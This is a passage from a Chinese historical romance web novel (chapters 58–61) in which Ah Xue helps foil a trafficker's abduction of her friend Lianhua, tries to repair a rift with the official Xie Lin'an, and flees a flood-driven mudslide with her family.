如果是普通的小少年,大抵要哭喊无辜亦或者求长辈明察,但他们郎君与众不同,脊背挺的笔直,声音淡淡道:“不是我。” 他只说了这么一句来辩解,在证据面前显得苍白无力。 松石那时候急死了,虽然他们郎君身为侯府世子不会被怎么样,但家法逃不了,免不了被重罚。 后来,事情水落石出,原来是老鼠啃了寿桃。 老夫人叹气,嘱咐侯爷夫妇。“临安性子骄傲,好是好,可总有一天要吃亏。” 生性骨子里的骄傲,让他不屑做某些事情,更不会主动低头。 不吃葱姜蒜?离的远? 无足轻重的小问题,谢临安挥挥手便能解决,可让他无法释怀的是她以为他是四郎。 四郎,大郎。 怪不得她说给他过生辰,却是错误的日子,原来并不是给他,是给谢康安过的。怪不得她有时候说些奇怪的话,原来她是将他当成了青梅竹马来亲近。 谢临安倏地抓紧手里的花,再松开手时已经成了花泥,清风拂过,从窗口零落而下。 从头到尾都是虚情假意,一场骗局。 …… 阿雪心情更不好了。 “碧玉姐,你说如果一个人做了错事,无法弥补的那种错事,该怎么办?” 谢康安找过来,坐实阿雪认错人报错仇的事,她本该找谢临安道歉的,但畏畏缩缩不敢去,不知道该怎么面对他。 难道说对不起就行了吗?阿雪觉得没用,如果是她,她才不会原谅对方。 可到了夜里,她的心像是被架在火上炙烤一样煎熬,睡不了多长时间她就爬起来,索性来铺子做活,等到周碧玉来了急忙向她求助。 “阿雪,你到底怎么了?” 之前就问过她这个问题,周碧玉也给了回答,显然阿雪不满意,所以又问了一遍。亦或者,事情严重到阿雪手足无措。 “你说出来我才能帮你啊。” 阿雪不知道该不该说,犹豫了一下,还是没说出实情,只简单道:“我认识一个人,她呢,背着仇恨,总想报复仇人,有一天得来机会让她报仇成功,可没想到竟然认错了人。” 周碧玉惊讶:“那个人岂不是受了无妄之灾?天呐,没杀人见血吧?” “没有,就是……就是……”阿雪不知道该怎么形容,只道:“没受到实质性的伤害,也不是,可能……可能心里难受。” “懂了,就是骗人了对吗?”周碧玉见多识广,开始安慰阿雪,“如果没骗财骗色,那就是小事,放心,过几天自己就好了。” 真的吗?阿雪不确定。 下午时候莲花来了。 “你娘还打着和周海天联姻的主意?” 这几日阿雪时常过去开导莲花,她总算是肯出门见人了,不过气色还是不好。 “是,还说明天去城里,让我去道歉。” 阿雪不大同意,嘟囔着道:“他也不见得是良人啊,婶子怎么就不肯放开了。” 莲花苦笑:“觉得我丢人吧。” 她出门路过铺子,本来莲花娘在和隔壁铺子妇人说话,瞧见她后立刻不吭声,一双眼睛瞪着她,好像莲花做了什么十恶不赦的事情。 “我不想在这了。”莲花低头说,“阿雪,我想搬到一个没人认识我的地方。” “可是,要去哪?” “我也不知道。” “你呢?阿雪,你有没有想过离开这?” 阿雪斩钉截铁。“没有,这里是我的家啊。” 莲花没再说什么了,就是走的时候有点落寞。阿雪极为担心,问周碧玉。“碧玉姐,你说莲花会不会离家出走?” 周碧玉知道莲花的事情深表同情,也明白莲花纠结的心理,于是道:“等她下次再来时我好生劝她。” 阿雪秀气的眉头皱了皱。“我真不放心,怕她做傻事。” 小娘子纯良心善,在想该怎么办,周碧玉出主意道:“要不我帮你看着铺子,你陪她进城?” 阿雪眼睛一亮。 “对,是个法子。实话实说,她今日说了这番话叫我心下不安,还是陪着去吧,还能有个照应。” 莲花爹娘铁了心践踏女儿,恐怕此行不好过,她跟着还能让莲花好受一些。 当天晚上同家里说了,焦红杏担心:“要不让你爹也一同陪着。” 阿雪说不用麻烦,让人家知道好像怎么回事似的。卢大富瓮声瓮气道:“正好库房里有两个皮子想卖了,一道去吧。” 焦红杏在一旁帮腔,事情就这样敲定。 翌日,阿雪和周碧玉多做了两蒸屉,近日生意好转不少,能多卖钱。周碧玉如今会算账会做馒头,交给她阿雪一百个放心。 看见卢大富父女,莲花爹娘还挺惊讶,听说是去卖皮子,他们也没怀疑。 卢大富借了一辆驴车,莲花爹娘则是借了马车,还好心的邀请他们上车。“来坐马车吧,天黑时候就能到。” 卢大富嘿嘿笑,先让阿雪上了车,说他在后面跟着,免得他身形如山,上了马车其他人没地方呆。 刚走出去没多远,便听见一阵马蹄声。 莲华娘撩开帘子探头看,就见一辆华盖马车从他们车旁过去,两匹骏马拉车,速度比他们快了不止一星半点。 后头还跟着几个骑马的年轻人,各个样貌俊朗,看的莲华娘啧啧称赞。 “应当是城里哪个大户人家的郎君吧,瞧瞧人家衣着打扮哟,莲花,娘告诉你,如果你和周海天成了,也能坐那种大马车,还能穿金戴银,多好啊。” 莲花一直缩在角落里不吭声,阿雪则是透过窗户看了一眼,然后抿了抿唇。 赶车的是松石,那车里是谁不言而喻。 谢临安走了。 阿雪心里不是滋味,满脸惆怅。 …… 天不亮就出发,夏季天也长,到城里时候天色才刚刚擦黑。 “婶子,我爹要去卖皮子,我自己呆着怪害怕的,能不能先和你们在一起啊?” 一个小丫头而已,莲花娘虽然之前不满阿雪叛逆的说辞,但也不会过多计较,便同意了。“但我们要去周家酒馆,阿雪啊,你就在外面等,成不成?” 带着外人有些话不好说。 阿雪笑吟吟:“好。” 看着他们进了那家酒馆,阿雪跳下马车活动筋骨。坐车也觉得疲惫至极,腿脚发胀,刚落地时还差点站不稳。 在原地踱步,阿雪观察周海天的酒馆,发现并没有莲花爹娘嘴里说的生意那么好,这个时辰应当是饭口,但几乎没有客人进去。门窗都开着,只能瞧见零星的几个客人。 过了会,有个客人出来,阿雪还快步追上去。 “劳烦郎君,请问这家饭馆口味如何?” 年轻貌美,看着就让人赏心悦目的小娘子问询,自然是愿意奉告的。那人压着火气:“一般般吧。” 阿雪点头,又问:“他这生意好吗?我看都没什么人过来。” “我也是第一次来吃,娘子可问问旁人。” 阿雪站在那又等了一会,连着问了好几个人,大家都说吃着一般且表示下次不来了。 这与莲花爹娘口中的生意兴隆简直是大相径庭。 阿雪又开始担心起来。 一刻钟后,莲花爹娘喜滋滋的出来,阿雪连忙上前询看莲花去向。 “哎呀,他们年轻人有话聊,就留下多说会话。” 既然肯留人说话,那就代表原谅的意思,莲花爹娘双手合十,期盼老天爷能促成良缘。 “哎哎,阿雪,你进去做什么?” 身形纤细的小娘子不管不顾的冲进去,莲花娘要拦都拦不住。 第59章 第59章 在来城里的路上莲花就一副心事重重的模样,阿雪还问她要不要争取不去见周海天,但莲花摇头:“我爹娘吃秤砣铁了心,没办法不去。” 经历被掳事件,阿雪和莲花情谊更重,也是这世上最能感同身受之人。 莲花不喜欢周海天,这种不喜持续到了现在已经达到厌烦和恐惧的地步。 有人陪着她还好,如今她独自一人被扔在那,面对会逼迫自己到窒息的人,该怎么办? 阿雪年岁小有一股冲劲,脑子里旁无杂念,只想进去解救莲花。后头莲花爹娘追着她阻拦,可没有她跑的快,直接冲进了酒馆里。 此时酒馆里已经没有客人了,桌子上摆放着用过的碗筷,在微弱烛火下,散发着油腻腻的光。 “欸?咱家莲花哪去了?” 追进来的莲花娘见屋里空无一人,紧张道:“方才还有两个客人吃饭的,莲花就和周海天一起在柜台那坐着叙话。” 阿雪抿着唇,总觉得哪里不太对。 “刚才有看见客人出去吗?” 莲花爹:“没瞧见。” 那就更不对了。 阿雪直奔后院去,此刻莲花爹娘也顾不上许多忙跟了上去,就见后院漆黑一片,也不像是有人的样子。 三个人挨个屋里搜了一遍,不等碰头合计,阿雪已经打开酒馆后门,直接消失在了夜色里。 边跑阿雪边合计,时间短周海天带着莲花走不了多远。果然,没跑一会便在一个小岔路瞧见几个鬼祟的人影,阿雪大喝:“周海天!” 那几个人脚步加快,阿雪也越跑越快,然后就看见有两个人扶着莲花走,一个高个人影停住脚步。 跑的面红耳赤的阿雪不知道什么是害怕,靠近之后发现这人就是周海天。 “你要带莲花去哪?” 周海天不说话,上下打量阿雪,笑着道:“真是得来全不费功夫。” 话落,朝着阿雪抓来。 寻常人家的小娘子弱不禁风,大抵很快被擒住。但阿雪老爹是猎户,姐弟俩身体强健,不是寻常人可比,竟然躲了过去。 周海天虽诧异,可来势汹汹,当即不客气起来。 “救命!救命!”阿雪边躲边喊人,周海天直接来捂她的嘴,阿雪偏过头,周海天的指甲便划过脸颊,登时火辣辣的疼。 就在阿雪要被抓住的时候,就听一阵脚步声,随后是令人心安的吼声。 “阿雪,爹来救你了!” 卢大富身形如小山,行动却意外的迅捷,直接扑过来先将周海天顶翻在地,随后三两下将人反剪摁住。 莲花爹娘才跟上来,哭天喊地的要女儿,卢大富抽出腰带捆住周海天的手,让他们看好人,他去追莲花。 “阿雪你也在此等候,爹一会就回来。” 阿雪知道自己去也没用,便听话的点头。 …… “大人,出事了,周海天逃了。” 在阿雪铺子后院抓到隐匿的卖货郎之后,根据对方的口供很容易将事情串联起来,因此谢临安下了抓捕周海天的命令。 谁料对方竟然先一步跑了。 谢临安不曾言语,靠在那眸色沉沉也不知道在想什么,王捕头犹豫之下,还是接着道:“还有一件事,卢娘子她……” “她怎么了?”谢临安抬眼。 俩人关系破裂之事旁人都不知晓,王捕头只知道他们大人与那位卢娘子情分匪浅。于是硬着头皮道:“卢娘子也在,她当时追周海天去了,被对方伤了脸。” 不用抬头,便感受到头顶上一股视线注视。不知道怎么回事,王捕头觉得周身空气都变得滞闷起来。 “大人放心,卢娘子已经脱险,我们的人也派出去追击犯人去了。” 说完,原本不动如山的谢临安起身,王捕头猜测他们大人大约是担心卢娘子的伤势,连忙带路。 …… 说是一会,还真就没多久便回来了。卢大富背着昏迷的莲花,后头跟着几个捕快压着那两个贼人。 “莲花啊,莲花你怎么了?”莲花娘哭喊着,莲花闭着眼睛没有醒来的迹象。 有个捕快过来道:“她应当是被迷晕了,明天就能醒来。” 莲花娘懊悔不已,也不顾此处人多,直接砸了莲花爹一拳。“你非要女儿嫁周海天,都怪你!” 莲华爹皱眉:“你不也同意了吗?行了,现在说这些有什么用。” 夫妻俩互相推辞着,阿雪则是搀扶着莲花,等她娘过来后,两个女子上下检查了一遍没有受伤,才松了口气。 “大人来了。” “大人。” “大人。” 捕快齐刷刷的喊人,阿雪抬头,于昏黄的光亮里,看见一道颀长身影。 夜色浓重,前方松石拎着一盏灯笼照亮,跳跃的光亮映在年轻郎君的脸上忽明忽暗,温润如玉的郎君隐隐变了气质,加之他一身玄色衣袍像是要与黑夜融为一体。 阿雪抬眼楞楞的看他。 这是有了嫌隙之后俩人第一次见面,阿雪先是欣喜,但对方显然没瞧见她,亦或者根本不想看她,直接朝着犯人走去,连个眼风都没给她。 不失落是假的。 阿雪咬了咬唇,低下头索性也不再看他,专心照顾起莲花来。他们正在商量将莲花带走之时,有个捕快突然过来,手里拿着半个巴掌大的盒子。 “听说犯人将平民百姓弄伤,我们大人便派我送来这个,涂上好的快。” 莲花爹娘没接触过谢临安,赶忙感恩戴德的道谢,将膏药收好。那捕快没走,对着阿雪道:“小娘子脸上怎么也落了伤?记得涂药好的快。” “谢官爷。” 卢大富身高体壮,背着莲花,他们一行得赶紧离开找个地方安置,等待莲花醒来。 阿雪走了几步回过头,不知道是错觉还是眼花了,她总觉得方才谢临安好像看了这个方向。 到了客栈后安置好,莲华娘抹了把眼泪叫来阿雪,将那盒膏药给她。 “我们都没受伤,这里你最需要,所以你拿去用吧。” 说完莲花娘接着烛火仔细查看伤势,感叹道:“幸好位置靠下,从正面看不出来,阿雪啊,你别担心,肯定不会留疤的。” 如花似玉的小娘子经了这么一遭,任谁都会难过。莲华娘说了几句好话,便回去照顾莲花去了。 阿雪回到房间,卢大富过来查看她的伤势,作为猎户一年到头没少受伤,一般的外伤他都可以处理。 划痕不深,但因为渗出血所以瞧着骇人。清理好伤口后,卢大富拿过那盒膏药,先是嗅了嗅。 “上等的外伤膏。”他剜了一点涂在阿雪的伤口上,原本火热肿痛的伤口顿时被清凉感覆盖,“没想到谢大人这么心善。” 他们就是普通百姓,哪里能够得上当官的,卢大富其实想说平易近人,但他不会这个词。 他夸人就是用好坏来区分,顶好的人就说心善。 阿雪垂着眼睛。“可能是以为我们都受伤了。” 她骗了他,他不恨她就已经谢天谢地了,更不可能对她好。 夜色深重且谢临安看都没看她一眼,自然也不知道她脸上有伤。 所以这膏药想必也是送给他们所有人用的。 大抵是伤口不严重又上药及时,第二日就结了痂,不过也更加显眼了。阿雪对着镜子来回照了照,叹口气,继续梳头发。 外面莲花娘已经在催了,阿雪应声:“知道了婶子,马上。” 半夜时莲花清醒过来,莲花娘在她床边陪了一夜,早晨时候官府人来通传莲花和阿雪,说是要录口供。 莲花娘怕官,便先催促阿雪,再去帮莲花穿衣打扮。 坐马车路上,莲花娘一直对女儿嘘寒问暖,但面色苍白的莲花一声不吭,原本耀眼的眸子都黯淡无光,显然已经彻底死心。 到了衙署门口,守卫衙役只放莲花和阿雪进去,莲花娘抻着脖子送女儿,可莲花一次都没回头。 …… 本以为会让她们直接上公堂,却不想被领进一间干净整洁的房间,屋里陈设齐全,布置的比寻常百姓家里都要归整。 莲花坐在那不动了,阿雪挨着她落座,悄悄握住她的手,莲花勉强笑了笑。 “我没事。” “怎么可能没事,就别硬撑了,想哭就哭,想叫就叫。”直率的阿雪就不会掩盖自己情绪,她觉得憋闷时间久了,人会生病的。 莲花笑容总算真切几分。 阿雪又宽慰道:“别怕,坏人抓住后我们就安全了,等从衙署出去我们直接返家。” 等了没一会,便听见脚步声。晨曦微光,穿着一身官服的郎君踏步进来,他步伐沉稳,唇角带笑,春风和煦的模样。只是眼睛清澄没有半点笑意,视线也只是快速的从阿雪身上扫过。 房门开着,陆续有官府的人进来,摊放在桌面上的纸铺平,笔也蘸饱了墨汁。 外面。 汗津津的赵友成路过站定脚步,问询远离门口的松石道:“你们郎君当着这么多人的面和卢娘子幽会?” “什么幽会?郎君在办公事。” 能瞧见谢临安端坐在那一脸冷漠,赵友成摸了摸下巴:“松石,他们俩到底怎么了?” 松石:“不知。” 赵友成好奇的抓耳挠腮,打算凑近点听墙角,被松石拦住。“赵郎君,您手上的伤该处理了。” 赵友成一大早被赵友玉拉去操练,时常被摁着毒打,一身的臭汗不说还总会挂彩,这不,今日被剑气划了手背。 “差点忘了。”后知后觉的赵友成觉得疼,便向松石讨膏药。 “上次那种膏药再给我一盒。” 松石摊手:“抱歉赵郎君,没了。” 赵友成:“没了?明明我看见还有一盒的,松石啊,难道是你们郎君心疼御赐的膏药,不舍得给我了?不能啊,临安不是那种吝啬之人。” 松石斩钉截铁:“真没了。” 第60章 第60章 “本案相关所有人员皆要问审。”拿着笔的官差道。 莲花和阿雪都和周海天有接触,因此俩人一同被询问。那官差一板一眼的问莲花,莲花刚开始答的好好的,等问询至为何与周海天解除婚约时,她面如菜色。 官差不知道面前两个娘子的身份,只觉得没让其进公房候着已经是优待了,怎么还扭扭捏捏,不说实话。 伤疤被触碰,莲花手都在抖,阿雪有所察觉便开口道:“这里涉及到另外一桩案子,你们应当有记录吧?” “大胆!”那人呵斥,“官府问什么说什么,岂敢言行无状!” 阿雪下意识的觑了一眼谢临安,他纹丝不动,像是在把玩摩挲手上的杯盏。 这边莲花面色又白了几分,显然不想在众人面前叙述她和卖货郎的事情。 阿雪咬了咬唇。 “她遭此大难有些事情记不清,我来说。” 官差皱眉:“你是你,她是她,怎可混为一谈?” 未免太不近人情了。 官府之人都是如此冷面冷心吗? 明明谢临安是个外冷内热的郎君来着。 阿雪握紧莲花的手,欲要再说,手却被莲花握紧。 “我自己来就好。”莲花小声道。 然后,她就真的从头到尾说了一遍,没有忽略任何细节。说到伤心之处,抬手抹脸。 阿雪不忍心,道:“官爷,她说完了,是不是该到我了?” 那位官差频频被打断觉得不舒快,“无知愚民,可知道阻碍官府办案要判何罪?” 他认为就不该在这里问话,否则这些老百姓会蹬鼻子上脸,看吧,果然如他猜测。 “退下。” “大人?” 谢临安斜眼看他,声音淡淡。 “本官说的不够清楚吗?退下。” 那人错失了在谢临安面前表现的机会,恨恨的看阿雪一眼才出去。 屋里只有谢临安一个人坐着,门口有两个捕快守门,谢临安召了一个进来记录,他亲自问审。 “姓甚名谁?” 陌生的口吻,好像与阿雪素不相识一般。 “民女卢雪,家住东山县。”她起身自报家门,谢临安继续问话,声音依旧是清润的,但在阿雪听来冷冰冰没有半点温度。 貌美的小娘子平日里散发着勃勃生机,如今却如霜打的茄子似的蔫了。她站在那,双手拧在一起,低垂着脑袋,一双杏眸盯着自己脚尖,听头顶上的人问话,问什么便回答什么。 从正面处是看不清她脸上的伤的,主座上的郎君视线偏了偏,细长条的红痕入眼,已经有结痂的迹象。 …… 问话结束,阿雪其实想单独找谢临安聊聊的,起码让她认真道个歉。但谢临安显然不给她机会,起身离开,身形如风。 衙署繁忙,便让两个娘子从来时的路自行离开。 阿雪搀扶着莲花走在小道上,因着莲花身体不适,她们便走的慢了一些。身边穿着官服的差役来去匆匆,过了会才无人,莲花小声问阿雪。 “你老实同我讲,你和谢大人到底怎么回事?” 记得之前俩人颇有渊源的样子,怎么今日却好像是陌生人? 阿雪不知道该怎么说。 其实方才她心情有点奇怪。 按照她的猜想,谢临安应当是恨她的,毕竟是她有错在先,认错人报错仇,他埋怨她也无可厚非。可方才他的表现中规中矩,阿雪拿不准了,又想,或许人家谢临安是天之骄子,大人不记小人过呢。 如此这般想来,简直是既高兴又难过。 “也没什么,”阿雪踢了脚下的一块小石子,看着它滚落在草丛里。六月草木丰茂,石子很快就消失无影无踪,像是他们之间曾经种种,消失不见了。 “他是官,我是民,我们之间什么都没有的,往后……往后也不会有。” 夏风吹过,夹杂着草木清爽之气,阿雪抽了抽鼻子,心道这股味道和他身上好香,清冽的让人沉静的气味。 可惜,以后她再也不能闻到这种味道了。 小娘子一副伤心模样偏不自知,莲花叹了口气,俩人相扶相伴走出月牙门,身影渐渐消失在视野中。 “郎君……” 拱门之后站着的松石小声喊站定之人,心想卢娘子真是不识好人心。他们郎君对她那么好,她倒是在外人面前将关系撇的一干二净。 “办事。”谢临安留下这么一句,面无表情的离开了。 …… 晌午时候衙署休息,午饭谢临安都会在衙署吃,赵友成见他神色疲惫便没缠着追问和阿雪的事情,但有不长眼的人,在吃完饭后拦住谢临安的去路。 “堂兄,有件事我不得不告诉你。” 谢康安挡住了去路,谢临安便停下脚步。 几年前侯府二房说有个流落在外的私生子要认回来,但二夫人不同意,二房鸡飞狗跳了很长时间,还是谢临安的父亲,整个侯府主事人亲自发话,同意接孩子回来。 当晚饭桌上,侯爷询问侯夫人的意见,美丽高贵的女人笑了笑:“如果是我,肯定不会接个私生子回来,但二房也没有什么东西值得争抢,人丁兴旺是好事。何况,侯爷不是已经决定了吗?” 侯爷点头,称赞夫人明事理,还说请她帮忙说服二夫人。转过头嘱咐谢临安道:“他刚来京城,人生地不熟,临安好生照顾弟弟。” 还是少年的谢临安微微颔首。 那时候谢康安还不是用这个名字,只叫谢小安,是进侯府之后才起的大名。他从乡下来,举手投足透着小家子气,又因为身份特殊,所以二房的孩子们总是欺负他。 谢临安身为整个谢家小辈最大的人,多次训斥弟弟妹妹们,也为谢康安解围多回。 但有一天,谢临安看见了他的另一面。 刚被二房孩子按在水里欺负的小孩,在那些孩子们离开之后,捡起地上一块石头,想都不想,直接朝自己腿上划去。 小孩皮肤嫩,当即有擦痕出现,血珠子上涌。 谢临安微微蹙眉,他看见仆人们过来,簇拥着谢康安走了。 当天晚上,那几个孩子就因为伤害手足而被请家法。兴许是因为这样,后来便没人欺负谢康安了,顶多是逞口舌之快。 谢临安并没有戳破谢康安的谎言,他本人当太子伴读早出晚归,没时间处理这等小事。只是偶尔听松石说府里的事情,谢康安总是被欺负吃亏的那个,所以老夫人更加宠爱他。 因着相处时间不长,谢临安并没有过多关注他。直到他们都成长为大人,谢临安探花郎走马游街时候,在人群里看见谢家小辈们。 谢临安一眼就看见了谢康安。 不是因为他样貌出众,而是因为他今日也穿着一身艳色鲜亮的衣服,乍一看,二人有些相像。 后来,不止一个人同谢临安说过,“你那个堂弟和你好生相似,不愧是同出一门的血缘兄弟。” 谢临安只是神色淡淡,他压根就没将谢康安放在眼里。 就像是此刻,他不轻不重的开口。“何事?” 谢康安眼里闪过犹豫,但咬咬牙,还是开口道:“实不相瞒,在回到京城谢家前,我和娘就住在东山县上,而且和卢家是邻居,当时为了生存,不得已和卢家定了娃娃亲。” 谢临安眼睛眯了一下。 对面的谢康安没有察觉出他的不悦,继续撇清关系道:“后来进京城就没联系了,小时候口头上的娃娃亲当然不作数,堂兄,我说这番话就是想告诉你,我和卢娘子没什么关系。” 谢康安深思熟虑之后,觉得有必要先将这件事放在明面上,免得到时候被他那个聪慧堂兄知道反而不美。而且他先说明,证明和卢娘子没关系,他堂兄不就可以更加光明正大的和她亲近了吗? 只是他想的好,却见谢临安不甚在意的跨过他,笔直的朝前走了。 “堂兄?” 看着谢临安走远,谢康安隐隐有一种不安之感。 不行,他必须要让谢临安和卢家娘子好,必须看着如谪仙一般的人坠落凡间! …… 今日天气爽朗,卢大富去取了卖皮子的钱,还在镇上采办了不少东西,额外给阿雪买了几包零嘴。回程看见有人卖糖人,卢大富心情顿时沉重。 小石头就喜欢糖人。 想了想,他走过去说买一个,眼巴巴的看着摊主做好送他手里。 “爹,你怎么还买糖人了啊?” 卢大富笑呵呵:“买了俩,你和莲花一人一个。” 多灾多难的莲花没有享受特别待遇,只是不再受爹娘的责备罢了。 那位周海天已经被官府抓了起来,是他窜通货郎设局,故意引诱莲花私奔,甚至周海天之前那位未婚妻,也是用同样手法“私奔”,到时候再将貌美的女子转手卖掉。 就算是这样,莲花爹娘依旧念叨着,说莲花不该和卖货郎私奔,搞出来这么多事。 卢大富看不过去,却也不好说别人家的事情,只能让阿雪过去多宽慰莲花。 可怜的孩子。 得到糖人的莲花绽放一个笑容。 “上次吃糖人还是几岁的时候。” 阿雪咯嘣啃着糖人,含糊不清道:“想吃就买啊,也可以自己买。” 卢大富每次去卖皮子都会从城里给姐弟俩带好东西,莲花艳羡看着阿雪。 “父母恩爱,对你们姐弟又多有照顾,阿雪,我好生羡慕你,肯定没有任何烦恼吧?” “有的。” 阿雪神色落寞了几分。 嘴巴里本该是甜津津的,怎么现在泛起了苦意。 60-70 第61章 第61章 谢临安好像彻底消失在阿雪的生活里。 从城里回来之后,阿雪就再也没听过谢临安的任何消息。以前,他会时不时的过来看她,俩人腻在客栈里也不会觉得无聊,那时候觉得天蓝云白,不像是现在,一抬头灰蒙蒙的。 “阴了一天了,也不知道会不会下雨。” 周碧玉把灶膛里最后一块木柴塞进去,转过头看正趴在桌子上往外看的阿雪。 她显然没听见周碧玉的话,心不在焉的模样。 俩人认识的时间不长,周碧玉却是了解这个什么事都挂在脸上的小娘子,这几天都是魂不守舍,心事重重。 阿雪自己也说不上来到底是怎么了。 天热了,库房里的东西要时刻注意,免得皮子长毛不好卖,晾晒皮子的时候,焦红杏放出来一个大木盒,里面摆放着各种药材。阿雪回家的时候就看见焦红杏在晒药,她还以为母亲身体不舒服,连忙过去询问。 “没不舒服,天气阴,怕药材长毛,拿出来吹吹风。” 阿雪一愣。 这是谢临安送的。 晚上吃完饭,焦红杏拿出尺子比量,说要给阿雪做衣服。 “不用的,我衣服够多了。” 一家四口,只有阿雪的衣柜里是满的,虽然没什么值钱的,但也足以证明家里对她的宠爱。 焦红杏边往她身上比量边道:“反正家里有料子,这几天我看见库房里有老鼠,万一啃坏了多可惜,早点做成衣服也好早点穿上。” 待看见焦红杏拿来的布料时,阿雪又是一愣。 还是谢临安送的。 明明俩人半点干系都没有了,可她的生活里处处都是谢临安。 “娘,这匹料子颜色我不喜欢。” “不好看吗?正适合你的年纪。” 阿雪坚持,焦红杏便没勉强,但也舍不得自己做衣服,打算留着哪日阿雪改了心意再说。 他们结束了。 阿雪不想再想起谢临安,她有意的抗拒想起他,但收效甚微。 翌日天还是阴沉的厉害,焦红杏跟出来,说让她带好油纸伞。 “乌云这么厚,恐怕雨小不了,阿雪,若是雨势大你就先别回家,等你爹去接。” “知道了娘,我走了。” 她每日出来的时辰都还早,路边的灯笼照亮小娘子前行的方向,阿雪再次嘀咕:“燃了一晚上不费钱吗?” 正想着,有个商铺出来个人,打着哈欠去点灯笼。 点好后的灯笼散发出昏黄柔和的光亮,那人又打了个哈欠,然后看见阿雪。 “小娘子这么早去哪啊?” 阿雪没回答她,反好奇问道:“为何这么早点灯笼?” 妇人上下打量她片刻,道:“原来是给你准备的。” “什么?” …… 周碧玉今日起的早,她有铺子钥匙,便直接开门进去,先烧水热锅,一会蒸的快。 水咕噜咕的开了,阿雪也迈步进来,瞧见她失魂落魄满脸泪痕,周碧玉吓了一跳。 “怎么了这是?谁欺负你了?阿雪?” “没人欺负我,”阿雪低头抹了一把眼睛,心口酸涩的厉害,她口是心非道:“是雨水。” 周碧玉往外看一眼,还真下起小雨来。 “你先歇着,我来做活。” 阿雪点点头,接过周碧玉送的毛巾,擦拭脸上和头上的水。 她脑子里还在回想那个妇人的话。 “实不相瞒,是有个人给我钱,说以后每日三更起就挂两盏灯笼在门口照亮,有的人嫌麻烦直接晚上挂好,我舍不得灯油,每天早起来点灯。” “小娘子啊,那人是你夫君?要我说啊,你们夫妻俩有钱也不能这么花,不如你自己拎着灯笼来的好。” 妇人好心劝了几句,阿雪才知道来龙去脉。 在她不知道的时候,原来谢临安为她做了这么多。心里酸涩,鼻尖也酸酸的,便忍不住落泪。 “咦,阿雪,你是在哭吗?” “没有。”阿雪擦了擦眼泪,周碧玉便也没多问,随口问了句莲花怎么样。 “我也好几日不曾见她了,没在铺子里,她娘让她在家里歇着。” 和周碧玉说了会儿话,心下好受不少。阿雪就是这样的性子,情绪来的快去的也快,很快就正常生活,很少想起谢临安了。 果然下起了雨,淅淅沥沥的下个不停,来买包子的人少了,阿雪有点烦躁。比她还烦的更有其人,这天周碧玉一直在叹气。 “碧玉姐,你怎么了?” 周碧玉学的很快,在阿雪这帮忙有工钱拿还能吃饭,简直是一举两得。但家里不让她省心,那个王翠翠早就把手里的银子花完了,没钱又不肯出去做活挣钱,竟然干起了老本行。 这件事一直瞒着周碧玉,她白日里在铺子自然什么都不知晓,还是阴天下雨早回家,撞破了王翠翠的好事,才晓得王翠翠竟然将男人往家里领。 那男人没了兴趣就匆忙走了,王翠翠边穿衣服边埋怨。“就怪你,到手的钱飞了。” “王翠翠!”好脾气的周碧玉生气,“好不容易从那等地方逃出来,难道你非要走回头路?” “我不做没钱的呀,我不像你能吃苦做粗活,这双手娇嫩,干不了活,所以得想法子养自己。” 不管周碧玉怎么说,王翠翠就是不听,甚至越发的肆无忌惮,还留下男人过夜。 院子里就两个小娘子,多了一个男人自然十分不便,而且有的男人恶心至极,竟然还对周碧玉动手动脚。 “我在找房子。”周碧玉吐露心声。 她想和过去割席,就得先从那里搬出来,可手里的银钱不多,周碧玉始终没有找到合适的。 阿雪道:“我们后院收拾收拾可以住人的,碧玉姐,你要不看看?” 能不花钱是最好的,何况周碧玉没有任何要求,当天就收拾好,打算明日搬过来。 “有点漏雨,待天晴了将屋顶瓦片换一批。” 周碧玉不甚在意,“拿盆接着就成。” 雨连着下了多日没停过,且有越下越大的架势。 家里,卢大富叹气,焦红杏安抚道:“没关系,等雨停了再进山,到时候还能采蘑菇,晒干后等冬日里吃,他们姐俩最喜欢吃了。” “红杏,我总觉得雨不会停。”透过窗户缝隙,卢大富抬头看一眼黑压压的乌云,不像是很快就散的模样。 焦红杏心里一咯噔,想到了什么。 “你是说……” “我担心像多年前那样,雨太大将山上的泥沙全冲下来,到时候就遭了。” 那时候俩人还没成亲,有一年雨水大的吓人,将庄稼全淹了,山上的泥水石头滚落下来,不少人受伤和失踪。 小镇子依山傍水,若雨不停,很有可能再现那等天灾。 焦红杏没了主意:“大富,我们怎么办?” 当初来镇子定居,一是手里没钱,二是为了方便卢大富进山打猎,所以他们定居之处更靠山脚下,若真有泥石流,他们首当其冲。 卢大富琢磨了片刻,“还是早早准备,这样,你去收拾细软,我去把库房里值钱的皮子都包好,家里有板车,把值钱东西放板车上,若有不对我们立刻逃。” 如果真的遇见什么危险自然保命要紧,但能保留家当也是好的。 夫妻俩立刻收拾起来,待阿雪回来后,还嘱咐阿雪收拾。 “我没什么好收拾的,就带两身好衣服。”她最值钱的衣服便是卢大富给做的狐狸马甲,拿出来叠好后,阿雪看见衣柜里颜色靓丽的两身衣裙。 那是谢临安送的。 阿雪动作顿了片刻,还是将那两套裙子拿出来装好放在布兜子里包好。 当天晚上听见外面哗哗的雨声,阿雪翻来覆去的睡不着。趴在床上胡思乱想的时候,焦红杏敲门进来。 “雨又大了,娘怕你害怕。” 卢大富也醒来,打开门看见院子里的积水,不由得皱起眉头。 原本浅浅的水面在不停的攀升,雨打在水面上像是噼里啪啦的石头落下,溅起大水花。 照着这样下去迟早要淹没门槛倒流屋内。 这都是小事,卢大富抬头朝远处的山林望去。可惜天黑如墨,根本看不清那边的景象。 卢大富忧心忡忡,进来道:“你们俩先穿好衣服,蓑衣备在一边,如果不对我们就赶紧走。” 阿雪奇怪:“爹,去哪?” 卢大富去忙活了,焦红杏细心解释一番,阿雪立刻穿鞋下地。 “那我得赶紧告诉莲花和碧玉姐一声,让她们早有准备。” 焦红杏道:“附近的邻居和莲花家都告诉过了,外面雨势这样大,你莫要再出去。” 铺子里住着独自一人的周碧玉,阿雪不放心,眼看着院里的积水已经淹到卢大富的小腿,他喊道:“你们娘俩快出来,我们走!” 说完,他还拿着锣敲了好一阵,附近的邻居们被敲醒,有听信卢大富的人家早有准备即刻出发,大多数对卢大富的做法嗤之以鼻。 “哪有什么危险,哪年不下雨?没事,等明天雨停了将院子里的水引出去就成,行了,快回去睡觉。” 许多人都不听信卢大富的,还嫌他打扰清梦。 卢大富也顾不上那么多,让他们娘俩坐板车上,他要推着她们出去前往镇外的高地上。 “爹,我想去找碧玉姐,她自己在铺子里,我……” 话没说完,便听见一阵轰隆隆的声音,随后震儿的水流声夹杂在雨声里。 卢大富面色一白:“快快,泥石流来了,我们赶紧走!” …… “松石。” 